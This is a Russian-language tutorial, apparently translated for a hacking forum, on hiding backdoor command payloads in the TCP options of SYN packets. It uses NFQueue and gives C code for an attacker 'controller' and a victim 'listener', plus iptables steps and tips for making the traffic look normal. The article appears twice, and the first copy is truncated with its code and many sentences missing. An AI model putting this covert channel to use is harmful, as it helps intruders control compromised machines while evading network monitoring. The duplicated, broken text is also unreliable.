Управление при помощи TCP Handshake. Маскировка полезной нагрузки в SYN пакеты
# Краткое вступление
Получение контроля довольно широко известны во всем мире безопасности. Вы устанавливаете бекдор на компьютере жертвы и отправляете ему команды, которые затем выполняются, может, даже повезет, с правами root. Люди придумали кучу креативных способов скрыть отправленные команды: Cobalt Strike использует временные задержки со своими маяками, Wireguard шифрует данные во время передачи и т.д. Однако проблема всех этих подходов заключается в том, что кто-либо (или что угодно), кто отслеживает передачу данных в нужное время и в нужном месте, потенциально способен уловить эти угрозы. Однако, кто, черт возьми, так пристально смотрит на SYN пакеты?
Начальная информация
Если вы знаете структуру пакета IPV4 или TCP пакета, пропустите этот шаг.
Пакеты IPV4 структурированы, как показано на этом изображении
TCP-пакеты структурированы, как показано на этом рисунке.
Не так много места, чтобы скрыть какие-либо данные. Это имеет смысл, потому что хендшейк пакеты предназначены для установления соединения и определения параметров соединения, а не для отправки самих данных. Большинство пакетов вызовет проблемы с соединением в случае изменения порта, флагов и т.д. Порядковый номер может кодировать 4 байта данных за один раз, чтобы проникнуть в данные, но этого недостаточно. 4 байта в секунду могут быть приемлемы для RCE для сервера на Луне в 1969 году, но нам нужно что-то, что может по крайней мере нести эквивалент полного предложения на английском языке. Встречайте: поле опций.
Параметры TCP абсолютно необходимы в современных подключениях. Они определяют, как данные будут передаваться из одной конечной точки в другую. Полный размер рукопожатия TCP должен быть не более 60 байтов. Таким образом, в параметрах TCP доступно 40 байтов пространства. Десять раз больше, чем мы только что видели! На самом деле мы сможем выйти за пределы этого в тестовой среде, и пакет все равно будет принят. Проведя тесты, я обнаружил, что ограничение в 40 байт предназначено для "чистых" пакетов. На практике, дополнительная длинная часть опций TCP будет усечена только в том случае, если пакет повторно сегментирован, когда он проходит через один из своих хопов. Брандмауэр должен (я полагаю) иметь жестко запрограммированный предел в 20 байт и игнорировать часть общей длины заголовка IPV4, чтобы обрезать все значения.
Тем не менее, для целей этого эксперимента мы будем предполагать, что этого не произойдет, и пакет будет отправлен как есть. Чтобы добавить опции в пакет TCP, нам нужно обновить часть «Смещение данных», в которой указано количество 32-битных слов в пакете. TCP пакет состоит из 5 слов (20 байтов / 32 бита или 4 байта = 5), а часть смещения данных составляет 2 бита, что дает нам 251 слово для работы: THICC 1 КБ данных, которые могут входить в параметры. Более чем достаточно для пары команд.
Кроме того, хотя мы не будем связываться с этим в тестовой установке, существует экспериментальная опция, признанная IANA, которая позволяет расширить «Смещение данных» еще больше. Вот ссылка для тех, кто хочет узнать больше об этом.
# NFQueue
Netfilter создал плагин под названием NFQueue для IPtables, чтобы преодолеть разрыв между перехватом пакетов в ядре и возможностью изменять и читать их из вашей собственной программы из пространства пользователя. Он опирается на
Возвращаясь к данной теме, NFQueue копирует пакеты из пространства ядра в пространство пользователя, чтобы каждый, у кого есть права, мог связываться с ними и затем выносил вердикт. Этим вердиктом может быть ваш ежедневный ACCEPT, REJECT, DROP или один из специальных NF_REPEAT или NF_QUEUE, который либо повторно вставляет измененный пакет обратно в очередь, либо отправляет его другому слушателю NFQueue.
Хватит разговоров. Время кодить.
Создание тестовой среды
Тестовая среда, которую я настроил, - это две виртуальные машины Ubuntu 18.04 LTS, каждая с
Написание кода
Я пройдусь и детально рассмотрю, как работает код. Если вы просто хотите увидеть скрины Wireshark и результаты, перейдите к конечным скриншотам.
NFQueue требует большой кусок стандартного кода, чтобы начать. Никто не хочет писать весь этот код самостоятельно, так что и мы не будем. Образец, который я сделал для нас, является сильно измененной версией Hello World, найденной здесь.
Начальный коммит для controller можно найти здесь
Начальный коммит для listener можно найти здесь
# Здесь много кода, давайте пройдемся по нему очень быстро.
tcp_pkt_struct.h
Это то, что мы будем использовать для изменения заголовков пакетов. NFqueue просто дает нам пустой массив байтов, мы должны выяснить, что с этим делать. Обратите внимание
main.c
Мы будем рассматривать три функции как черный ящик (мы знаем, что они делают, но не знаем, как они это делают). А все потому, что я нашел их в гугле и на самом деле понятия не имею, как они работают.
Теперь давайте посмотрим на понятные мне функции.
Основные функции загружают пакеты из
Это
# План атаки
Давайте посмотрим на SYN пакет в Wireshark, чтобы увидеть, с чем мы работаем. Я запустил простой веб-сервер на порт 8000 на
Curl
Давайте посмотрим на то, что показывает wireshark (фильтруются только SYN пакеты)
Анализ
Часть, выделенная белым цветом, `02 04 05 b4` - это то место, где начинаются параметры TCP. Параметры TCP располагаются один за другим в формате «Option-Kind: 1 байт - Option-Length: 1 byte - Option-value: значение length - 2 байта». Опция length определяет длину для ВСЕХ байтов в опции, включая байт, используемый для самого вида и длины. В этом случае «02» представляет максимальный размер сегмента, имеет длину «04» и значение «05b4».
Обратите внимание
Таким образом, чтобы добавить опции в конце, нам нужно обновить общую длину в пакете IPV4 и добавить
# Код контроллера Controller
Реальным способом добавления дополнительных данных в пакет TCP будет использование экспериментальной опции. Однако мы хотим скрыть все это, поэтому давайте использовать опцию, которая будет очень распространена, например, User Timeout (0x1c или 28). У IANA есть список назначений опций на их странице.
Итак, давайте добавим к коду.
tcp_pkt_struct.h
Вставьте код сверху
Опция имеет тип, длину и полезную нагрузку - строку, которую мы напишем в файл на машине жертвы. Вначале отступы должны делиться на общую длину, делимую на 4. Поскольку данные будут напрямую добавляться в пакет, мы не можем использовать массив и нам нужно разделить полезную нагрузку на куски по 4 байта.
main.c
Мы добавили весь код, относящийся к пакету TCP. В конце мы изменим смещение данных, чтобы отразить дополнительные опции. Давайте перейдем к обратному вызову, где пакет наконец отправляется в работу.
Мы увеличиваем общую длину пакета IPv4, чтобы пакет TCP не обрезался на пути к месту назначения. Версия Linux, которую я использовал, запуталась между предпочитаемым Little Endian и Big Endian сетевого пакета, поэтому мне пришлось сначала поменять байты, добавить длину и снова реверснуть байты. Вы можете подтвердить это, посмотрев, увеличивается ли общая длина на
Плод нашего труда
Посмотрим результат нашей работы. Создайте папку для сборки и соберите весь проект с помощью CMake. Затем загрузите в
Шаги:
1) Создайте папку сборки и создайте проект
2) Загрузите папку сборки и файл
3) Запустите
4) Запустите
5) Запустите Wireshark и направьте его на
6) Отправить HTTP запрос от
Controller Screenshot
Controller Wireshark
Прекрасно! SYN пакет во всем этом HTTP-запросе добавляет наши данные в конец. Нет необходимости в программировании ядра. Обратите внимание, что время ожидания пользователя должно составлять 4 байта, и мы установили его на 14. Если вы хотите быть более скрытным, вы можете использовать несколько опций и разбить свою полезную нагрузку на их индивидуальные длины по умолчанию, чтобы не было аномалий. Но в пределах данного исследования, нам до этого нет дела
# Код listener
Круто, мы модифицировали пакет из controller. Юхууу!
Но теперь мы должны что-то сделать с этой полезной нагрузкой. Код в listener точно такой же, как и в случае с шаблоном и
main.c
В основном, мы делаем противоположное тому, что мы делали с
Опять же, просто изменим то, что мы делали ранее, уменьшив общую длину, пересчитав контрольную сумму и обрезав байты пакетов, отправленные
Доказательство того, что это сработало
Давайте посмотрим на некоторые скриншоты, чтобы увидеть, как это работает.
Шаги:
1) Создайте проект, как показано в
2) Обратите внимание, что
3) Используйте
4) Запустите исполняемый файл
Перехват пакета Listener
Круто! Мы перехватили входящий пакет SYN и получили полезную нагрузку. Давайте удостоверимся, что мы можем записать это в файл (вы можете сделать все, что захотите, с полезной нагрузкой, как только она у вас будет).
Содержимое файла Listener
И вот, пожалуйста. Полезная нагрузка была перехвачена, пакет был обрезан (я не смог найти снимок экрана, чтобы доказать это, вы можете убедиться сами, запустив его). Брандмауэр не имеет ресурсов для чтения параметров каждого входящего SYN пакета, особенно когда это крупномасштабная среда с множеством внутренних соединений.
Выводы
Это всего лишь простой пример того, что можно сделать с NFQueue с точки зрения пост-эксплуатации. Самый простой способ спрятать что-либо в сетевом трафике - это спрятать цифры, и мы сделали именно это. Нет ничего более распространенного, чем входящий SYN пакет на сервер.
Однако этот метод требует наличия root-привилегий в системе-жертве или возможности
Я планирую найти способ лучше скрыть полезную нагрузку в параметрах TCP, исследуя больше длины по умолчанию и часто используемые типы параметров. Кроме того, я пытаюсь создать среду, в которой пакет TCP пересегментируется и, возможно, обрезается, если handshake пакет превышает 60 байт.
Автор: sw4rm, оригинальная статья
Перевод: tabac, специально для https://xss.pro
# Краткое вступление
Получение контроля довольно широко известны во всем мире безопасности. Вы устанавливаете бекдор на компьютере жертвы и отправляете ему команды, которые затем выполняются, может, даже повезет, с правами root. Люди придумали кучу креативных способов скрыть отправленные команды: Cobalt Strike использует временные задержки со своими маяками, Wireguard шифрует данные во время передачи и т.д. Однако проблема всех этих подходов заключается в том, что кто-либо (или что угодно), кто отслеживает передачу данных в нужное время и в нужном месте, потенциально способен уловить эти угрозы. Однако, кто, черт возьми, так пристально смотрит на SYN пакеты?
Начальная информация
Если вы знаете структуру пакета IPV4 или TCP пакета, пропустите этот шаг.
Пакеты IPV4 структурированы, как показано на этом изображении
TCP-пакеты структурированы, как показано на этом рисунке.
Не так много места, чтобы скрыть какие-либо данные. Это имеет смысл, потому что хендшейк пакеты предназначены для установления соединения и определения параметров соединения, а не для отправки самих данных. Большинство пакетов вызовет проблемы с соединением в случае изменения порта, флагов и т.д. Порядковый номер может кодировать 4 байта данных за один раз, чтобы проникнуть в данные, но этого недостаточно. 4 байта в секунду могут быть приемлемы для RCE для сервера на Луне в 1969 году, но нам нужно что-то, что может по крайней мере нести эквивалент полного предложения на английском языке. Встречайте: поле опций.
Параметры TCP абсолютно необходимы в современных подключениях. Они определяют, как данные будут передаваться из одной конечной точки в другую. Полный размер рукопожатия TCP должен быть не более 60 байтов. Таким образом, в параметрах TCP доступно 40 байтов пространства. Десять раз больше, чем мы только что видели! На самом деле мы сможем выйти за пределы этого в тестовой среде, и пакет все равно будет принят. Проведя тесты, я обнаружил, что ограничение в 40 байт предназначено для "чистых" пакетов. На практике, дополнительная длинная часть опций TCP будет усечена только в том случае, если пакет повторно сегментирован, когда он проходит через один из своих хопов. Брандмауэр должен (я полагаю) иметь жестко запрограммированный предел в 20 байт и игнорировать часть общей длины заголовка IPV4, чтобы обрезать все значения.
Тем не менее, для целей этого эксперимента мы будем предполагать, что этого не произойдет, и пакет будет отправлен как есть. Чтобы добавить опции в пакет TCP, нам нужно обновить часть «Смещение данных», в которой указано количество 32-битных слов в пакете. TCP пакет состоит из 5 слов (20 байтов / 32 бита или 4 байта = 5), а часть смещения данных составляет 2 бита, что дает нам 251 слово для работы: THICC 1 КБ данных, которые могут входить в параметры. Более чем достаточно для пары команд.
Кроме того, хотя мы не будем связываться с этим в тестовой установке, существует экспериментальная опция, признанная IANA, которая позволяет расширить «Смещение данных» еще больше. Вот ссылка для тех, кто хочет узнать больше об этом.
# NFQueue
Netfilter создал плагин под названием NFQueue для IPtables, чтобы преодолеть разрыв между перехватом пакетов в ядре и возможностью изменять и читать их из вашей собственной программы из пространства пользователя. Он опирается на
libnetfilter_queue библиотеку и (изначально) root-доступ (вот жеж блин), но это нас не остановит. На данный момент все будет сделано через root, но для будущей работы любой пользователь с возможностями CAP_NET_ADMIN на системе жертвы также может выполнить эту атаку.Возвращаясь к данной теме, NFQueue копирует пакеты из пространства ядра в пространство пользователя, чтобы каждый, у кого есть права, мог связываться с ними и затем выносил вердикт. Этим вердиктом может быть ваш ежедневный ACCEPT, REJECT, DROP или один из специальных NF_REPEAT или NF_QUEUE, который либо повторно вставляет измененный пакет обратно в очередь, либо отправляет его другому слушателю NFQueue.
Хватит разговоров. Время кодить.
Создание тестовой среды
Тестовая среда, которую я настроил, - это две виртуальные машины Ubuntu 18.04 LTS, каждая с
libnetfilter-queue-dev зависимостями. Один listener будет слушать машину жертвы, а controller будет на атакующей машине.Написание кода
Я пройдусь и детально рассмотрю, как работает код. Если вы просто хотите увидеть скрины Wireshark и результаты, перейдите к конечным скриншотам.
NFQueue требует большой кусок стандартного кода, чтобы начать. Никто не хочет писать весь этот код самостоятельно, так что и мы не будем. Образец, который я сделал для нас, является сильно измененной версией Hello World, найденной здесь.
Начальный коммит для controller можно найти здесь
Начальный коммит для listener можно найти здесь
# Здесь много кода, давайте пройдемся по нему очень быстро.
tcp_pkt_struct.h
Код:
#pragma pack(push, 1)
typedef struct {
struct iphdr ipv4_header;
struct tcphdr tcp_header;
} full_tcp_pkt_t;
#pragma pack(pop)
struct iphdr и struct tcphdr прямо из сетевой библиотеки Linux.main.c
Мы будем рассматривать три функции как черный ящик (мы знаем, что они делают, но не знаем, как они это делают). А все потому, что я нашел их в гугле и на самом деле понятия не имею, как они работают.
Код:
long ipcsum(unsigned char *buf, int length);
void tcpsum(struct iphdr *pIph, unsigned short *ipPayload);
void rev( void *start, int size);
ipcsum и tcpsum вычисляют контрольную сумму пакета IPV4 и TCP. rev инвертирует байты, так 01 02 03 станет 03 02 01.Теперь давайте посмотрим на понятные мне функции.
Код:
int main();
static int cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfa, ...);
static void modify_handshk_pkt(full_tcp_pkt_t *pkt, int pkt_len);
sk_buff и записывают их в статически выделенный 4098-байтовый буфер. 4098 является избыточным для пакетов SYN. Измените число, если хотите. Обязательно менять это число в целях эксперимента не нужно.Это
cb обратный вызов, который обрабатывает каждый пакет по мере его поступления sk_buffи modify_handshk_pkt изменяют или считывают пакет по мере необходимости.# План атаки
Давайте посмотрим на SYN пакет в Wireshark, чтобы увидеть, с чем мы работаем. Я запустил простой веб-сервер на порт 8000 на
listener
Код:
python3 -m http.server &
Curl
Давайте посмотрим на то, что показывает wireshark (фильтруются только SYN пакеты)
Анализ
Часть, выделенная белым цветом, `02 04 05 b4` - это то место, где начинаются параметры TCP. Параметры TCP располагаются один за другим в формате «Option-Kind: 1 байт - Option-Length: 1 byte - Option-value: значение length - 2 байта». Опция length определяет длину для ВСЕХ байтов в опции, включая байт, используемый для самого вида и длины. В этом случае «02» представляет максимальный размер сегмента, имеет длину «04» и значение «05b4».
Обратите внимание
Header Length: 40 bytes в Wireshark. Это преобразованная форма поля Data Offset.Таким образом, чтобы добавить опции в конце, нам нужно обновить общую длину в пакете IPV4 и добавить
Data Offset столько 4-битных слов, сколько в наших опциях. Это также означает, что общая длина всего, что мы добавляем в пакет, должна быть кратна 4 (вы не можете использовать дробное число Data Offset). Мы можем дополнить пакет 01 или No-OP для этих целей.# Код контроллера Controller
Реальным способом добавления дополнительных данных в пакет TCP будет использование экспериментальной опции. Однако мы хотим скрыть все это, поэтому давайте использовать опцию, которая будет очень распространена, например, User Timeout (0x1c или 28). У IANA есть список назначений опций на их странице.
Итак, давайте добавим к коду.
tcp_pkt_struct.h
Вставьте код сверху
Код:
#define METADATA_SIZE 16
#pragma pack(push, 1)
typedef struct {
uint16_t padding;
uint8_t opt;
uint8_t len;
uint32_t payload;
uint32_t payload_2;
uint32_t payload_3;
} pkt_meta;
#pragma pack(pop)
...
main.c
Код:
static void modify_handshk_pkt(full_tcp_pkt_t *pkt, int pkt_len) {
/* Should match only SYN packets */
printf("\nPacket intercepted: \n");
if (pkt->tcp_header.syn == 1 && pkt->tcp_header.ack == 0) {
printf("\tPacket type: SYN\n");
pkt_meta *metadata = (pkt_meta *)((unsigned char *)pkt + pkt_len);
metadata->padding = 0x0101;
metadata->opt = 0x1c; // Custom option kind. 28 = User Timeout
metadata->len = METADATA_SIZE - sizeof(metadata->padding); // Custom option length. Default length of User timeout is different.
pkt->tcp_header.doff += METADATA_SIZE / 4; // Change data offset
}
}
Код:
static int cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfa, void *data) {
u_int32_t id;
struct nfqnl_msg_packet_hdr *ph;
ph = nfq_get_msg_packet_hdr(nfa);
id = ntohl(ph->packet_id);
printf("entering callback\n");
full_tcp_pkt_t *ipv4_payload = NULL;
int pkt_len = nfq_get_payload(nfa, (unsigned char **) &ipv4_payload);
modify_handshk_pkt(ipv4_payload, pkt_len);
rev(&ipv4_payload->ipv4_header.tot_len, 2);
ipv4_payload->ipv4_header.tot_len += METADATA_SIZE;
rev(&ipv4_payload->ipv4_header.tot_len, 2);
ipv4_payload->ipv4_header.check = 0;
ipv4_payload->ipv4_header.check =
ipcsum((unsigned char *)&ipv4_payload->ipv4_header,
20);
rev(&ipv4_payload->ipv4_header.check, 2); // Convert between endians
tcpcsum(&ipv4_payload->ipv4_header,
(unsigned short *)&ipv4_payload->tcp_header);
int ret = nfq_set_verdict(qh, id, NF_ACCEPT, (u_int32_t) pkt_len + METADATA_SIZE,
(void *) ipv4_payload);
printf("\n Set verdict status: %s\n", strerror(errno));
return ret;
}
0x0010 или 0x1000 байтов. Затем мы пересчитываем контрольную сумму IP и TCP, обращая биты по мере необходимости. (Обычно пакеты не нуждаются в правильной контрольной сумме TCP, но все равно добавьте ее). Плод нашего труда
Посмотрим результат нашей работы. Создайте папку для сборки и соберите весь проект с помощью CMake. Затем загрузите в
controller. Есть еще правило IPtables iptables_rules.sh, которое перехватывает пакеты SYN на порте 8000 и отправляет их в очередь 0. Если в очереди 0 ничего не прослушивается, то просто отправляет SYN пакет. Шаги:
1) Создайте папку сборки и создайте проект
2) Загрузите папку сборки и файл
iptables_rules.sh в controller.3) Запустите
iptables_rules.sh от имени root юзера на controller (только если система была перезапущена или это первая загрузка)4) Запустите
main в папке сборки от имени пользователя root на controller5) Запустите Wireshark и направьте его на
listener для фильтрации пакетов на порту 8000, чтобы просмотреть результат (чтобы убедиться, что оно было получено)6) Отправить HTTP запрос от
controller до listener на порту 8000Controller Screenshot
Controller Wireshark
Прекрасно! SYN пакет во всем этом HTTP-запросе добавляет наши данные в конец. Нет необходимости в программировании ядра. Обратите внимание, что время ожидания пользователя должно составлять 4 байта, и мы установили его на 14. Если вы хотите быть более скрытным, вы можете использовать несколько опций и разбить свою полезную нагрузку на их индивидуальные длины по умолчанию, чтобы не было аномалий. Но в пределах данного исследования, нам до этого нет дела
# Код listener
Круто, мы модифицировали пакет из controller. Юхууу!
tcp_pkt_struct.h Так что, вернитесь в начало, если вы забыли о них. Пойдем прямиком к main.c.main.c
Код:
int write_to_file(unsigned char *payload, int len){
int output_fd;
ssize_t ret_out;
output_fd = open("virusfile.pup", O_WRONLY | O_CREAT, 0644);
if(output_fd == -1){
perror("open virus file");
return 3;
}
ret_out = write(output_fd, payload, len);
close(output_fd);
return 0;
}
static void modify_handshk_pkt(full_tcp_pkt_t *pkt, int pkt_len) {
/* Should match only SYN packets */
printf("\nPacket intercepted: \n");
if (pkt->tcp_header.syn == 1 && pkt->tcp_header.ack == 0) {
printf("\tPacket type: SYN\n");
pkt_meta *metadata = (pkt_meta *)((unsigned char *)pkt + pkt_len - METADATA_SIZE);
unsigned char *payload = (unsigned char *)(&metadata->payload);
write_to_file(payload, METADATA_SIZE - (sizeof(metadata->padding) + sizeof(metadata->opt) + sizeof(metadata->len)));
printf("RECEIVED PAYLOAD: %s", payload);
pkt->tcp_header.doff -= METADATA_SIZE / 4;
}
}
controller при чтении пакета. Указатель для метаданных должен быть после исходного размера пакета, а не записываться в метаданные, которые мы читаем из него. Затем мы записываем полезную нагрузку в файл и возвращаем Data Offset обратно к исходному значению.
Код:
static int cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfa, void *data) {
u_int32_t id;
struct nfqnl_msg_packet_hdr *ph;
ph = nfq_get_msg_packet_hdr(nfa);
id = ntohl(ph->packet_id);
printf("entering callback\n");
full_tcp_pkt_t *ipv4_payload = NULL;
int pkt_len = nfq_get_payload(nfa, (unsigned char **) &ipv4_payload);
modify_handshk_pkt(ipv4_payload, pkt_len);
rev(&ipv4_payload->ipv4_header.tot_len, 2);
ipv4_payload->ipv4_header.tot_len -= METADATA_SIZE;
rev(&ipv4_payload->ipv4_header.tot_len, 2);
ipv4_payload->ipv4_header.check = 0;
ipv4_payload->ipv4_header.check =
ipcsum((unsigned char *)&ipv4_payload->ipv4_header,
20);
rev(&ipv4_payload->ipv4_header.check, 2); // Convert between endians
tcpcsum(&ipv4_payload->ipv4_header,
(unsigned short *)&ipv4_payload->tcp_header);
int ret = nfq_set_verdict(qh, id, NF_ACCEPT, (u_int32_t) pkt_len - METADATA_SIZE,
(void *) ipv4_payload);
printf("\n Set verdict status: %s\n", strerror(errno));
return ret;
}
Опять же, просто изменим то, что мы делали ранее, уменьшив общую длину, пересчитав контрольную сумму и обрезав байты пакетов, отправленные
libnetfilter_queue библиотекой. Доказательство того, что это сработало
Давайте посмотрим на некоторые скриншоты, чтобы увидеть, как это работает.
Шаги:
1) Создайте проект, как показано в
controller2) Обратите внимание, что
iptables_rules.sh использует PREROUTING, а не POSTROUTING для перехвата пакетов, поступающих в систему. Загрузите и запустите скрипты iptables, как показано в controller.3) Используйте
iptables_clean.sh, если вы запутались (обратите внимание, что это сбрасывает кучу правил, потому что я ленивый) или удалите правило вручную и попробуйте снова.4) Запустите исполняемый файл
server в директории сборки listener Перехват пакета Listener
Круто! Мы перехватили входящий пакет SYN и получили полезную нагрузку. Давайте удостоверимся, что мы можем записать это в файл (вы можете сделать все, что захотите, с полезной нагрузкой, как только она у вас будет).
Содержимое файла Listener
И вот, пожалуйста. Полезная нагрузка была перехвачена, пакет был обрезан (я не смог найти снимок экрана, чтобы доказать это, вы можете убедиться сами, запустив его). Брандмауэр не имеет ресурсов для чтения параметров каждого входящего SYN пакета, особенно когда это крупномасштабная среда с множеством внутренних соединений.
Выводы
Это всего лишь простой пример того, что можно сделать с NFQueue с точки зрения пост-эксплуатации. Самый простой способ спрятать что-либо в сетевом трафике - это спрятать цифры, и мы сделали именно это. Нет ничего более распространенного, чем входящий SYN пакет на сервер.
Однако этот метод требует наличия root-привилегий в системе-жертве или возможности
CAP_NET_ADMIN для скомпрометированного пользователя. Кроме того, должны быть установлены зависимости libnetfilter_queue на машине жертвы, что означает, что на данный момент этот метод будет работать только в системах с установленным netfilter и расширением NFQueue. Он также может работать в системах BSD с использованием перенаправляемых сокетов, но я не пробовал этого.Я планирую найти способ лучше скрыть полезную нагрузку в параметрах TCP, исследуя больше длины по умолчанию и часто используемые типы параметров. Кроме того, я пытаюсь создать среду, в которой пакет TCP пересегментируется и, возможно, обрезается, если handshake пакет превышает 60 байт.
Автор: sw4rm, оригинальная статья
Перевод: tabac, специально для https://xss.pro